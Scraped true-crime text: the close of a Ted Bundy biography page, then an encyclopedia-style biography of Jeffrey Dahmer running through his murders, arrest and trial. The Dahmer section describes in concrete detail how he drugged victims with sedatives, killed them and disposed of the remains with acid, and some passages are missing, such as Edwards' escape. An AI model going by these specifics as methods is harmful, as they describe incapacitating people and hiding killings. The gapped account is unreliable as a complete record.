Boone eventually realized Bundy was guilty of the crimes. She divorced him three years prior to his execution, according to Rule's book, A Stranger Beside Me. Boone stopped visiting Bundy during the last two years of his imprisonment.

Death

On January 24, 1989, Bundy was executed around 7 a.m. at the Florida State Prison in an electric chair sometimes known as "Old Sparky." Outside the prison, crowds cheered and even set off fireworks after Bundy's execution.

Bundy's body was cremated in Gainesville, and no public ceremony was held. Before he was executed he requested his ashes be scattered in the Cascade Mountains of Washington State, where he murdered at least four of his victims.

Bundy in Popular Culture

Movies

An infamous national figure since his Florida trials, Bundy's life has been the subject of countless books and documentaries trying to shed light on this brutal killer's crimes. Well-known movies include:

The Deliberate Stranger was a 1986 television movie featuring actor Mark Harmon as Bundy.

Extremely Wicked, Shockingly Evil and Vile debuted in 2019 at the Sundance film festival, with Zac Efron as Bundy and Lily Collins as Kloepfer. The film's title comes from Judge Edward Cowart's post-sentencing remarks to Bundy.

Conversations with a Killer: The Ted Bundy Tapes was released that same year. The documentary features archival footage and audio recordings of Bundy made on death row along with present-day interviews.

Books

Several notable books have been published on Bundy's crimes, including:

The Stranger Beside Me: Ted Bundy the Shocking Inside Story, published in 1980 by Rule, a coworker of Bundy's at a crisis hotline. Rule describes how she gradually realized Bundy was a serial killer and then draws from their ongoing correspondence, which lasted until just shortly before Bundy's execution.

The Phantom Prince: My Life with Ted Bundy was written by Bundy's ex-girlfriend Kloepfer about dating and loving a serial killer. It was published in 1981, while he was on death row.

Ted Bundy: Conversations with a Killer, published in 1989 by author Stephen Michaud and journalist Hugh Aynesworth, this collection of stories was created from more than 150 hours of interviews with Bundy.

Defending the Devil: My Story as Ted Bundy's Last Lawyer, published in 1994, was written by Polly Nelson, a newly-minted lawyer who was offered Bundy's case pro-bono by the Washington, D.C. law firm where she worked just weeks before he was scheduled to be executed.

I Survived Ted Bundy: The Attack, Escape & PTSD That Changed My Life, published in 2016 by Rhonda Stapley, who was brutally attacked by Bundy in Utah in 1974 but survived and, after battling PTSD, wrote a book about her experience.

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Ted Bundy was a 1970s serial murderer, rapist and necrophiliac. He was executed in Florida's electric chair in 1989. His case has since inspired many novels and films about serial killers. Eleanor Louise Cowell, who went by Louise, was 22 years old and unmarried when she gave birth to her son Ted.

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By Source, Fair use, https://en.wikipedia.org/w/index.php?curid=4656651

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Jeffrey Lionel Dahmer (; May 21, 1960 - November 28, 1994), also known as the Milwaukee Cannibal or the Milwaukee Monster, was an American serial killer and sex offender who killed and dismembered seventeen males between 1978 and 1991. Many of his later murders involved necrophilia, cannibalism, and the permanent preservation of body parts-typically all or part of the skeleton.

Although he was diagnosed with borderline personality disorder (BPD), schizotypal personality disorder (StPD), and a psychotic disorder, Dahmer was found to be legally sane at his trial. He was convicted of fifteen of the sixteen homicides he had committed in Wisconsin and was sentenced to fifteen terms of life imprisonment on February 17, 1992. Dahmer was later sentenced to a sixteenth term of life imprisonment for an additional homicide committed in Ohio in 1978.

On November 28, 1994, Dahmer was beaten to death by Christopher Scarver, a fellow inmate at the Columbia Correctional Institution in Portage, Wisconsin.

Jeffrey Dahmer was born on May 21, 1960, in Milwaukee, Wisconsin, the first of two sons to Lionel Herbert Dahmer, a Marquette University chemistry student and later a research chemist, and Joyce Annette Dahmer (), a teletype machine instructor. Lionel is of German and Welsh ancestry, and Joyce was of English, Norwegian, and Irish ancestry.

As Dahmer entered first grade, Lionel's studies kept him away from home much of the time. When he was home, his wife-a hypochondriac who suffered from depression-demanded constant attention and spent an increasing amount of time in bed. On one occasion, she attempted suicide using Equanil. Consequently, neither parent devoted much time to their son, who later recollected that, from an early age, he felt "unsure of the solidity of the family", recalling extreme tension and numerous arguments between his parents during his early years.

Dahmer had been an "energetic and happy child" but became notably subdued after double hernia surgery shortly before his fourth birthday. At elementary school, Dahmer was regarded as quiet and timid; one teacher recollected she detected early signs of abandonment due to his father's absence and mother's illnesses, the symptoms of which increased when she became pregnant with her second child. In elementary school, Dahmer had a small number of friends.

In October 1966, the family moved to Doylestown, Ohio. When Joyce gave birth in December, Dahmer was allowed to choose the name of his new baby brother; he chose the name David. The same year, Lionel earned his degree and started work as an analytical chemist in nearby Akron, Ohio.

From an early age, Dahmer manifested an interest in dead animals. His fascination with dead animals may have begun when, at the age of four, he saw his father removing animal bones from beneath the family home. According to Lionel, Dahmer was "oddly thrilled" by the sound the bones made, and became preoccupied with animal bones, which he initially called his "fiddlesticks". He occasionally searched beneath and around the family home for additional bones, and explored the bodies of live animals to discover where their bones were located.

In May 1968, the family moved to Bath Township, Summit County, Ohio. This address was their third in two years, and the Dahmers' sixth address since marriage. The home stood in one and a half acres of woodland, with a small hut only a short walk from the house where Dahmer began collecting large insects and the skeletons of small animals, such as chipmunks and squirrels. Some of these remains were preserved in jars of formaldehyde and stowed within the hut.

Two years later, during a chicken dinner, Dahmer asked Lionel what would happen if the chicken bones were placed in bleach. Lionel, pleased by what he believed to be his son's scientific curiosity, demonstrated how to safely bleach and preserve animal bones. Dahmer incorporated these preserving techniques into his bone collecting. He also began collecting dead animals-including roadkill-which he would dissect and bury beside the hut, with the skulls occasionally placed atop makeshift crosses.

According to one friend, Dahmer explained to him that he was curious as to how animals "fit together". In one instance in 1975, Dahmer decapitated the carcass of a dog before nailing the body to a tree and impaling the skull upon a stick in the woodland behind his house. As a "prank", he later invited a friend to view the display, claiming he had discovered the remains by chance. The same year Lionel taught his son how to preserve animal bones, Joyce began increasing her daily consumption of Equanil, laxatives and sleeping pills, further minimizing her tangible contact with her husband and children.

Adolescence and high school

From his freshman year at Revere High School, Dahmer was seen as an outcast. By age 14, he had begun drinking beer and hard alcohol in the daylight hours, frequently concealing his liquor inside the jacket he wore to school. Dahmer mentioned to one classmate who inquired why he was drinking Scotch in a morning history class that the alcohol he consumed was "my medicine". Although largely uncommunicative, in his freshman year Dahmer was seen by staff as polite and highly intelligent but with average grades. He was a competitive tennis player and played briefly in the high school band.

When he reached puberty, Dahmer discovered he was gay; he did not tell his parents. In his early teens, he had a brief relationship with another teenage boy, although they never had intercourse. By Dahmer's admission, he began fantasizing about dominating and controlling a completely submissive male partner in his early to mid-teens, and his masturbatory fantasies gradually evolved to his focusing on chests and torsos. These fantasies gradually became intertwined with dissection. When he was about 16, Dahmer conceived a fantasy of rendering unconscious a particular male jogger he found attractive, and then making sexual use of his body. On one occasion, Dahmer concealed himself in bushes with a baseball bat to lie in wait for this man. However, the jogger did not pass by on that particular day. Dahmer later admitted this was his first attempt to attack and render an individual submissive to him.

Dahmer, pictured in the 1978 Revere High School yearbook, Reverie

Dahmer was seen by his high school peers as a class clown who often staged pranks, which became known as "Doing a Dahmer"; these included bleating and simulating epileptic seizures or cerebral palsy at school and local stores. Occasionally, Dahmer would perform these antics for money to purchase alcohol.

By 1977, Dahmer's grades had declined. His parents hired a private tutor, with limited success. The same year, in an attempt to save their marriage, his parents attended counseling sessions. They continued to quarrel frequently. When Lionel discovered Joyce had engaged in a brief affair in September 1977, they decided to divorce, telling their sons they wished to do so amicably. The process of their divorce soon became increasingly bitter and acrimonious, and Lionel moved out of the house in early 1978, temporarily residing in a motel on North Cleveland Massillon Road.

In May 1978, Dahmer graduated from high school. A few weeks before his graduation, one of his teachers observed Dahmer sitting close to the school parking lot, drinking several cans of beer. When the teacher threatened to report the matter, Dahmer informed him he was experiencing "a lot of problems" at home and that the school's guidance counselor was aware of them. That spring, Joyce-contrary to a court order and without informing Lionel-moved out of the family home with David to live with relatives in Chippewa Falls, Wisconsin. Dahmer had just turned 18 and remained in the family home. Dahmer's parents' divorce was finalized on July 24, 1978. Joyce was awarded custody of her younger son and alimony payments.

Late teens and early 20s: first murder

Murder of Steven Hicks

Dahmer committed his first murder in 1978, three weeks after his graduation. On June 18, Dahmer picked up a hitchhiker named Steven Mark Hicks, who was almost 19. Dahmer lured Hicks to his house on the pretext of drinking. Hicks, who had been hitchhiking to a rock concert at Chippewa Lake Park, Ohio, agreed to accompany Dahmer to his house upon the promise of "a few beers" with Dahmer as he had the house to himself.

According to Dahmer, the sight of the bare-chested Hicks standing at the roadside stirred his sexual feelings, although when Hicks began talking about girls, he knew any sexual passes he made would be rebuffed. After several hours of talking, drinking and listening to music, Hicks "wanted to leave and I didn't want him to leave." Dahmer bludgeoned Hicks with a 10-pound (4.5 kg) dumbbell. He later stated he struck Hicks twice from behind with the dumbbell as Hicks sat upon a chair. When Hicks fell unconscious, Dahmer strangled him to death with the bar of the dumbbell, then stripped the clothes from Hicks' body before exploring his chest with his hands, then masturbating as he stood above the corpse. Hours later, Dahmer dragged the body to the basement.

The following day, Dahmer dissected Hicks' body in his basement. He later buried the remains in a shallow grave in his back yard. Several weeks later, he unearthed the remains and pared the flesh from the bones. He dissolved the flesh in acid before flushing the solution down the toilet; he crushed the bones with a sledgehammer and scattered them in the woodland behind the family home. Hicks' necklace and the knife used to dismember him were thrown from the West Bath Road bridge into the Cuyahoga River.

College and Army service

Six weeks after the murder of Hicks, Dahmer's father and his fiancée returned to his home, where they discovered Dahmer living alone. That August, Dahmer enrolled at Ohio State University (OSU), hoping to major in business. Dahmer's sole term at OSU was completely unproductive, largely because of his persistent alcohol abuse. He received failing grades in Introduction to Anthropology, Classical Civilizations, and Administrative Science. The only course Dahmer was successful at was Riflery, having received a B− grade. His overall GPA was 0.45/4.0. On one occasion, Lionel paid a surprise visit to his son, only to find his room strewn with empty liquor bottles. Despite his father having paid in advance for the second term, Dahmer dropped out of OSU after just three months.

Dahmer, pictured in West Germany in 1979. His off-duty drinking caused him to be deemed unsuitable for military service in 1981.

In January 1979, on his father's urging, Dahmer enlisted in the United States Army. He underwent basic training at Fort McClellan in Anniston, Alabama, before training as a medical specialist at Fort Sam Houston in San Antonio, Texas. He was occasionally reprimanded for intoxication while stationed at Fort Sam Houston. On one occasion, an instance of insubordination resulted in his entire platoon being punished, earning Dahmer a severe beating from his fellow recruits.

On July 13, 1979, Dahmer was deployed to Baumholder, West Germany, where he served as a combat medic in the 2nd Battalion, 68th Armored Regiment, 8th Infantry Division. According to published reports, in Dahmer's first year of service, he was an "average or slightly above average" soldier.

On March 24, 1981, Dahmer was sent to Fort Jackson, South Carolina, for debriefing and provided with a plane ticket to travel anywhere in the country. Dahmer later told police he felt he could not return home to face his father, so he opted to travel to Miami Beach, Florida, both because he was "tired of the cold" and in an attempt to live by his own means. In Florida, Dahmer found a job at a delicatessen and rented a room in a nearby motel. He spent most of his salary on alcohol and was soon evicted from the motel for non-payment. Dahmer initially spent his evenings on the beach as he continued to work at the sandwich shop until phoning his father and asking to return to Ohio in September of the same year.

Return to Ohio and relocation to West Allis, Wisconsin

After his return to Ohio, Dahmer initially lived with his father and stepmother and insisted on being delegated numerous chores to occupy his time while he looked for work. He continued to drink heavily, and two weeks after his return, was arrested for drunk and disorderly conduct. He was fined $60 and given a suspended 10-day jail sentence. Dahmer's father tried unsuccessfully to wean his son off alcohol. In December 1981, he and Dahmer's stepmother sent him to live with his grandmother in West Allis, Wisconsin. Dahmer's grandmother was the only family member to whom Dahmer displayed any affection. They hoped that her influence, plus the change of location, might persuade Dahmer to quit drinking, find a job, and live responsibly.

Initially, Dahmer's living arrangements with his grandmother were harmonious: he accompanied her to church, willingly undertook chores, actively sought work and abided by most of her house rules (although he continued to drink and smoke). In early 1982, he found employment as a phlebotomist at the Milwaukee Blood Plasma Center. He held this job for a total of ten months before being laid off. Dahmer remained unemployed for over two years, during which he lived upon whatever money his grandmother gave him.

Shortly before losing his job, Dahmer was arrested for indecent exposure. On August 8, 1982, at Wisconsin State Fair Park, he was observed exposing himself "on the south side of the Coliseum in which 25 people were present including women and children." For this incident, he was convicted and fined $50 plus court costs.

In January 1985, Dahmer was hired as a mixer at the Milwaukee Ambrosia Chocolate Factory, where he worked from 11 p.m to 7 a.m. six nights per week, with Saturday evenings off. Shortly after he found this job, an incident occurred in which Dahmer was propositioned by another man while reading in the West Allis Public Library. The stranger threw Dahmer a note offering to perform fellatio upon him. Although Dahmer did not respond to this proposition, the incident stirred in his mind the fantasies of control and dominance he had developed as a teenager, and he began to familiarize himself with Milwaukee's gay bars, gay bathhouses, and bookstores. He also stole a male mannequin from a store, which he briefly used for sexual stimulation, until his grandmother discovered the item stowed in a closet and demanded that he discard it.

By late 1985, Dahmer had begun to regularly frequent the bathhouses, which he later described as being "relaxing places", but during his sexual encounters, he became frustrated at his partners' moving during the act. Following his arrest, he stated: "I trained myself to view people as objects of pleasure instead of [as] people". For this reason, beginning in June 1986, he administered sleeping pills to his partners, giving them liquor laced with sedatives. He then waited for his partner to fall asleep before performing various sexual acts. To maintain an adequate supply of this medication, Dahmer informed doctors he worked nights and required the tablets to adjust to that schedule. After approximately 12 such instances, the bathhouses' administration revoked Dahmer's membership, and he began to use hotel rooms to continue this practice.

On September 8, 1986, Dahmer was arrested upon a charge of lewd and lascivious behavior for masturbating in the presence of two 12-year-old boys as he stood close to the Kinnickinnic River. He initially claimed he had merely been urinating, unaware that there were witnesses, but soon admitted the offense. The charge was changed to disorderly conduct and, on March 10, 1987, Dahmer was sentenced to one year of probation, with additional instructions to undergo counseling.

Late 20s and early 30s: subsequent murders

Ambassador Hotel

On November 20, 1987, Dahmer, at the time residing with his grandmother in West Allis, encountered a 25-year-old man from Ontonagon, Michigan, named Steven Tuomi at a bar and persuaded him to return to the Ambassador Hotel in Milwaukee, where Dahmer had rented a room for the evening. According to Dahmer, he had no intention of killing Tuomi, but intended to simply drug him and lie beside him as he explored his body. The following morning, Dahmer awoke to find Tuomi lying beneath him on the bed, his chest "crushed in" and "black and blue" with bruises. Blood was seeping from the corner of his mouth, and Dahmer's fists and one forearm were extensively bruised. Dahmer later said he had no memory of having killed Tuomi, and that he "could not believe this had happened".

Dahmer purchased a large suitcase, in which he transported Tuomi's body to his grandmother's residence. One week later, he severed the head, arms, and legs, then filleted the bones from the body before cutting the flesh into pieces small enough to handle. Dahmer placed the flesh inside plastic garbage bags. He wrapped the bones inside a sheet and pounded them into splinters with a sledgehammer. The dismemberment process took Dahmer approximately two hours. He disposed of all of Tuomi's remains, excluding the head, in the trash.

Intermediate murders

According to Dahmer, Tuomi's murder was a pivotal incident after which he did not try to control his compulsions. He began to actively seek victims, most of whom he encountered in or around gay bars and would typically lure them to his grandmother's home. He would drug his victim with triazolam or temazepam before or shortly after engaging in sexual activity with them. Once his victim was unconscious, he strangled them to death.

On March 24, 1988, Dahmer met a 22-year-old bisexual man, Richard Guerrero, outside a gay bar called the Phoenix. Dahmer lured Guerrero to his grandmother's residence, offering him $50 to spend the night with him. He drugged Guerrero with sleeping pills, strangled him with a leather strap, and fellated the corpse. Dahmer dismembered Guerrero's body within 24 hours, again disposing of the remains in the trash and retaining the skull before pulverizing it several months later.

In September 1988, Dahmer's grandmother asked him to move out, largely because of his drinking, his habit of bringing young men to her house late at night and the foul smells emanating from the basement and the garage. Dahmer found a one-bedroom apartment at 808 North 24th Street and moved into his new residence on September 25. Two days later, he was arrested for drugging and sexually fondling a 13-year-old boy whom he had lured to his home on the pretext of posing nude for photographs.

Dahmer's father hired an attorney named Gerald Boyle to defend his son. At Boyle's request, Dahmer underwent a series of psychological evaluations prior to his court hearings. The evaluations found that Dahmer harbored deep feelings of alienation. A second evaluation two months later revealed Dahmer to be an impulsive individual, suspicious of others, and dismayed by his lack of accomplishments in life. His probation officer also referenced a 1987 diagnosis of Dahmer suffering from a schizoid personality disorder for presentation to the court.

Two months after his conviction and two months prior to his sentencing, Dahmer murdered his fifth victim, a 24-year-old mixed-race aspiring model, Anthony Sears, whom he met at a gay bar on March 25, 1989. According to Dahmer, on this particular occasion he was not looking to commit a crime; however, shortly before closing time that evening, Sears "just started talking to me". Dahmer lured Sears to his grandmother's home, where the pair engaged in oral sex before Dahmer drugged and strangled Sears.

The following morning, Dahmer placed the corpse in his grandmother's bathtub, where he decapitated the body before attempting to flay the corpse. He stripped the flesh from the body and pulverized the bones, which he disposed of in the trash. According to Dahmer, he found Sears "exceptionally attractive", and Sears was the first victim from whom he permanently retained any body parts: he preserved Sears' head and genitalia in acetone and stored them in a wooden box, which he later placed in his work locker. When he moved to a new address the following year, he took the remains there.

On May 23, 1989, Dahmer was sentenced to five years' probation and one year in the House of Correction, with work release permitted so he could keep his job. He was also required to register as a sex offender. Two months before his scheduled release, Dahmer was paroled from this regimen. His five years' probation imposed in 1989 began at this point. Dahmer temporarily moved back to his grandmother's home in West Allis.

Oxford Apartments

1990 murders

On May 14, 1990, Dahmer moved out of his grandmother's house and into 924 North 25th Street, Apartment 213, taking Sears' mummified head and genitals with him. Although located in a high-crime area, Dahmer's new apartment was close to his workplace, was furnished, and at $300 per month inclusive of all bills excluding electricity, was economical. Within one week of his moving to this address, Dahmer killed his sixth victim, Raymond Smith. Smith was a 32-year-old prostitute whom Dahmer lured to his apartment with the promise of $50 for sex. Inside the apartment, he gave Smith a drink laced with seven sleeping pills, then manually strangled him.

In June 1990, Dahmer lured a 27-year-old acquaintance, Edward Smith, to his apartment, where he drugged and strangled him. On this occasion, rather than immediately acidifying the skeleton or repeating previous processes of bleaching, which had rendered previous victims' skulls brittle, Dahmer placed Smith's skeleton in his freezer for several months in the hope it would not retain moisture. Freezing the skeleton did not remove moisture, and the skeleton of this victim was acidified several months later. Dahmer accidentally destroyed the skull when he placed it in the oven to dry-a process that caused the skull to explode. Dahmer later informed police he had felt "rotten" about Smith's murder, as he had been unable to retain any parts of his body.

It was my way of remembering their appearance, their physical beauty. I also wanted to keep... if I couldn't keep them there with me whole, I at least could keep their skeletons.

Jeffrey Dahmer, recollecting his motivations for both photographing his victims, and retaining sections of their skeletal structure. February 1993.

Less than three months after the murder of Edward Smith, Dahmer encountered a 22-year-old Chicago native named Ernest Miller outside a bookstore on the corner of North 27th Street. Miller agreed to accompany Dahmer to his apartment for $50 and further agreed to allow him to listen to his heart and stomach. When Dahmer attempted to perform oral sex upon Miller, he was informed, "That'll cost you extra", whereupon Dahmer gave Miller a drink laced with two sleeping pills.

Following the murder of Thomas, Dahmer did not kill anyone for almost five months, although on a minimum of five occasions between October 1990 and February 1991, he unsuccessfully attempted to lure men to his apartment. He regularly complained of feelings of both anxiety and depression to his probation officer throughout 1990, with frequent references to his sexuality, his solitary lifestyle, financial difficulties, and-shortly before Thanksgiving-his apprehension regarding meeting and facing his father and younger brother. On several occasions, Dahmer also referred to harboring suicidal thoughts.

1991 murders

Less than two months later, on April 7, Dahmer encountered a 19-year-old named Errol Lindsey walking to get a key cut. Dahmer lured Lindsey to his apartment where he drugged him, then drilled a hole in his skull through which he injected hydrochloric acid with a baster. According to Dahmer, Lindsey awoke after this experiment (which Dahmer had conceived in the hope of inducing a permanent, unresistant, submissive state), saying: "I have a headache. What time is it?" In response to this, Dahmer again drugged Lindsey, then strangled him. He decapitated Lindsey and retained his skull. He then flayed Lindsey's body, placing the skin in a solution of cold water and salt for several weeks in the hope of permanently retaining it. Reluctantly, he disposed of Lindsey's skin when he noted it had become too frayed and brittle.

Konerak Sinthasomphone

On the afternoon of May 26, 1991, Dahmer encountered a 14-year-old Lao teenager, Konerak Sinthasomphone, on Wisconsin Avenue. Unknown to Dahmer, Sinthasomphone was the younger brother of the boy he had molested in 1988. Dahmer offered Sinthasomphone money to accompany him to his apartment to pose for Polaroid pictures. According to Dahmer, Sinthasomphone was initially reluctant to the proposal, before changing his mind and accompanying him to his apartment, where he posed for two pictures in his underwear before Dahmer drugged him into unconsciousness and performed oral sex on him. Before Sinthasomphone fell unconscious, Dahmer led the boy into his bedroom, where the body of Tony Hughes, whom Dahmer had killed three days earlier, lay naked on the floor. According to Dahmer, he "believed [that Sinthasomphone] saw this body" yet did not react to seeing the bloated corpse-likely because of the effects of the sleeping pills he had ingested.

On this occasion, Dahmer drilled a single narrow hole into the crown of Sinthasomphone's skull, through which he injected hydrochloric acid into the frontal lobe. Dahmer then drank several beers while lying alongside Sinthasomphone before briefly falling asleep, then leaving his apartment to drink at a bar and purchase more alcohol.

In the early morning hours of May 27, Dahmer returned toward his apartment to discover Sinthasomphone sitting naked on the corner of 25th and State, talking in Lao, with three distressed young women standing near him. Dahmer approached the women and told them that Sinthasomphone (whom he referred to by the alias John Hmong) was his friend, and attempted to lead him to his apartment by the arm. The three women dissuaded Dahmer, explaining they had phoned 9-1-1.

Upon the arrival of two Milwaukee police officers, John Balcerzak and Joseph Gabrish, Dahmer's demeanor relaxed: he told the officers that Sinthasomphone was his 19-year-old boyfriend, that he had drunk too much following a quarrel, and that he frequently behaved in this manner when intoxicated. Dahmer added his lover had consumed Jack Daniel's whiskey that evening.

The three women were exasperated, and when one of the trio attempted to indicate to one of the officers-both of whom had observed no injuries beyond a scrape to Sinthasomphone's knee and believed him to be intoxicated-that Sinthasomphone had blood upon his testicles, was bleeding from his rectum and that he had seemingly struggled against Dahmer's attempts to walk him to his apartment prior to their arrival, the officer harshly informed her to "butt out", "shut the hell up" and to not interfere.

Shortly after the arrival of the Milwaukee police officers, three members of the Milwaukee Fire Department arrived at the scene. These individuals also examined Sinthasomphone for injuries and provided a yellow blanket for the police officers to cover Sinthasomphone. One of the three believed Sinthasomphone needed treatment, but the police officers directed the fire department personnel to leave. Shortly thereafter, officer Richard Porubcan arrived at the scene. He and Gabrish-followed by Balcerzak-escorted Dahmer and Sinthasomphone to Dahmer's apartment as Dahmer repeatedly commented on the general crime in the neighborhood and of his appreciation of the police.

Inside his apartment and in an effort to verify his claim that he and Sinthasomphone were lovers, Dahmer showed the officers the two semi-nude Polaroid pictures he had taken of Sinthasomphone the previous evening. Though Balcerzak said he smelled nothing unusual, Gabrish later stated he noted a strange scent reminiscent of excrement inside the apartment. This odor emanated from the decomposing body of Hughes. Dahmer stated that to investigate this odor, one officer simply "peeked his head around the bedroom, but really didn't take a good look." The officers then left, with a departing remark that Dahmer "take good care" of Sinthasomphone. This incident was listed by the officers as a " domestic dispute."

Upon the departure of the three officers from his apartment, Dahmer again injected hydrochloric acid into Sinthasomphone's brain. This second injection proved fatal. The following day, May 28, Dahmer took a day's leave from work to devote himself to the dismemberment of the bodies of Sinthasomphone and Hughes. He retained both victims' skulls.

On June 30, Dahmer traveled to Chicago, where he encountered a 20-year-old named Matt Turner at a bus station. Turner accepted Dahmer's offer to travel to Milwaukee for a professional photo shoot. At the apartment, Dahmer drugged, strangled and dismembered Turner and placed his head and internal organs in separate plastic bags in the freezer. Turner was not reported missing. Five days later, on July 5, Dahmer lured 23-year-old Jeremiah Weinberger from a Chicago bar to his apartment on the promise of spending the weekend with him. He drugged Weinberger and twice injected boiling water through his skull, sending him into a coma from which he died two days later.

On July 15, Dahmer encountered 24-year-old Oliver Lacy at the corner of 27th and Kilbourn. Lacy agreed to Dahmer's ruse of posing nude for photographs and accompanied him to his apartment, where the pair engaged in tentative sexual activity before Dahmer drugged Lacy. On this occasion, Dahmer intended to prolong the time he spent with Lacy while alive. After unsuccessfully attempting to render Lacy unconscious with chloroform, he phoned his workplace to request a day's absence; this was granted, although the next day, he was suspended.

After strangling Lacy, Dahmer had sex with the corpse before dismembering him. He placed Lacy's head and heart in the refrigerator and his skeleton in the freezer. Four days later, on July 19, Dahmer received word that he was dismissed. Upon receipt of this news, Dahmer lured 25-year-old Joseph Bradehoft to his apartment. Bradehoft was strangled and left lying on Dahmer's bed covered with a sheet for two days. On July 21, Dahmer removed the sheet to find the head covered in maggots. He decapitated the body, cleaned the head and placed it in the refrigerator. He later acidified Bradehoft's torso, along with those of two other victims killed within the previous month.

On July 22, 1991, Dahmer approached three men with an offer of $100 to accompany him to his apartment to pose for nude photographs, drink beer and simply keep him company. One of the trio, 32-year-old Tracy Edwards, agreed to accompany him to his apartment. Upon entering Dahmer's apartment, Edwards noted a foul odor and several boxes of hydrochloric acid on the floor, which Dahmer claimed to use for cleaning bricks. After some minor conversation, Edwards responded to Dahmer's request to turn his head and view his tropical fish, whereupon Dahmer placed a handcuff upon his wrist. When Edwards asked, "What's happening?" Dahmer unsuccessfully attempted to cuff his wrists together, then told Edwards to accompany him to the bedroom to pose for nude pictures. While inside the bedroom, Edwards noted nude male posters on the wall and that a videotape of The Exorcist III was playing. He also noted a blue 57-gallon drum in the corner, from which a strong odor emanated.

Dahmer then brandished a knife and informed Edwards he intended to take nude pictures of him. In an attempt to appease Dahmer, Edwards unbuttoned his shirt, saying he would allow him to do so if he would remove the handcuffs and put the knife away. In response to this promise, Dahmer simply turned his attention towards the TV. Edwards observed Dahmer rocking back and forth and chanting before turning his attention back to him. He placed his head on Edwards' chest, listened to his heartbeat and, with the knife pressed against his intended victim, informed Edwards he intended to eat his heart.

When the officers and Edwards arrived at Apartment 213, Dahmer invited the trio inside and acknowledged he had placed the handcuffs upon Edwards, although he offered no explanation as to why he had done so. At this point, Edwards divulged to the officers that Dahmer had also brandished a large knife upon him and that this had happened in the bedroom. Dahmer made no comment to this revelation, indicating to one of the officers, Mueller, that the key to the handcuffs was in his bedside dresser. As Mueller entered the bedroom, Dahmer attempted to pass Mueller to retrieve the key himself, whereupon the second officer present, Rauth, informed him to "back off".

Private contractors from the Fire Department's Hazardous Materials Unit remove the 57-gallon drum from Dahmer's apartment, July 23, 1991.

Confession

Beginning in the early hours of July 23, 1991, Dahmer was questioned by Detective Patrick Kennedy as to the murders he had committed and the evidence found at his apartment. Over the following two weeks, Kennedy and, later, Detective Dennis Murphy conducted numerous interviews with Dahmer which, when combined, totaled over 60 hours. Dahmer waived his right to have a lawyer present throughout his interrogations, adding he wished to confess all as he had "created this horror and it only makes sense I do everything to put an end to it." He readily admitted to having murdered sixteen young men in Wisconsin since 1987, with one further victim-Steven Hicks-killed in Ohio in 1978.

Dahmer readily admitted to engaging in necrophilia with several of his victims' bodies, including performing sexual acts with their viscera as he dismembered their bodies in his bathtub. Having noted that much of the blood pooled inside his victims' chest after death, Dahmer first removed their internal organs, then suspended the torso so the blood drained into his bathtub, before dicing any organs he did not wish to retain and paring the flesh from the body. The bones he wished to dispose of were pulverized or acidified, with Soilax and bleach solutions used to aid in the preservation of the skeletons and skulls he wished to keep. Dahmer confessed to having consumed the hearts, liver, biceps, and portions of thigh of three victims he had killed at the Oxford Apartments (Raymond Smith, Ernest Miller and Oliver Lacy), and to have retained the flesh and organs of other victims for intended consumption. Typically, Dahmer would tenderize the body parts he intended to consume prior to preparing meals flavored with various condiments.

Referencing his reasons for consuming his victims, Dahmer stated he had initially consumed portions of his victims due to "curiosity" before adding: "I suppose, in an odd way, it made me feel they were even more a permanent part of me."

Describing the increase in his rate of killing in the two months prior to his arrest, Dahmer stated he had been "completely swept along" with his compulsion to kill, adding: "It was an incessant and never-ending desire to be with someone at whatever cost. Someone good looking, really nice looking. It just filled my thoughts all day long." When asked as to why he had preserved a total of seven skulls and the entire skeletons of two victims, Dahmer stated he had been in the process of constructing a private altar of victims' skulls which he had intended to display on the black table located in his living room and upon which he had photographed the bodies of many of his victims.

An illustration provided by Dahmer depicting the private altar he had been planning to create at the time of his July 1991 arrest

When asked in a November 18, 1991 interview to whom the altar was dedicated, Dahmer replied: "Myself ... It was a place where I could feel at home." He further described his intended altar as a "place for meditation", from where he believed he could draw a sense of power, adding: "If this [his arrest] had happened six months later, that's what they would have found."

Indictment

On July 25, 1991, Dahmer was charged with four counts of first-degree murder. By August 22, he had been charged with a further eleven murders committed in Wisconsin. On September 14, investigators in Ohio, having uncovered hundreds of bone fragments in woodland behind the address in which Dahmer had confessed to killing his first victim, formally identified two molars and a vertebra with X-ray records of Hicks. Three days later, Dahmer was charged by authorities in Ohio with Hicks's murder.

Dahmer was not charged with the attempted murder of Edwards, nor with the murder of Tuomi. He was not charged with Tuomi's murder because the Milwaukee County District Attorney only brought charges where murder could be proven beyond a reasonable doubt and Dahmer had no memory of actually committing this particular murder, for which no physical evidence of the crime existed. At a scheduled preliminary hearing on January 13, 1992, Dahmer pleaded guilty but insane to 15 counts of murder.

Dahmer's trial began on January 30, 1992. He was tried in Milwaukee for the 15 counts of first-degree murder before Judge Laurence Gram. By pleading guilty on January 13 to the charges brought against him, Dahmer had waived his rights to a trial to establish guilt, as defined in Wisconsin law. Attorneys at Dahmer's trial debated whether he suffered from either a mental or a personality disorder. The prosecution claimed that any disorders did not deprive Dahmer of the ability to appreciate the criminality of his conduct or to deprive him of the ability to resist his impulses. The defense argued that Dahmer suffered from a mental disease and was driven by obsessions and impulses he was unable to control.

Defense experts argued that Dahmer was insane due to his necrophilic drive-his compulsion to have sexual encounters with corpses. Defense expert Fred Berlin testified that Dahmer was unable to conform his conduct at the time that he committed the crimes due to his paraphilia or, more specifically, necrophilia. Judith Becker, a professor of psychiatry and psychology, was the second expert witness for the defense. Becker diagnosed Dahmer as a necrophiliac, although she added Dahmer had informed her, he preferred comatose sexual partners to deceased ones "75 percent" of the time. The final defense expert to testify, forensic psychiatrist Carl Wahlstrom, diagnosed Dahmer with necrophilia, borderline personality disorder, schizotypal personality disorder, alcohol dependence, and a psychotic disorder.

On February 8, Fred Fosdal testified on behalf of the prosecution. Fosdal testified to his belief that Dahmer was without mental disease or defect at the time he committed the murders. He described Dahmer as a calculating and cunning individual, able to differentiate between right and wrong, with the ability to control his actions, and whose lust overpowered his morals. Although Fosdal did state his belief that Dahmer was a paraphiliac, his conclusion was that Dahmer was not a sadist.

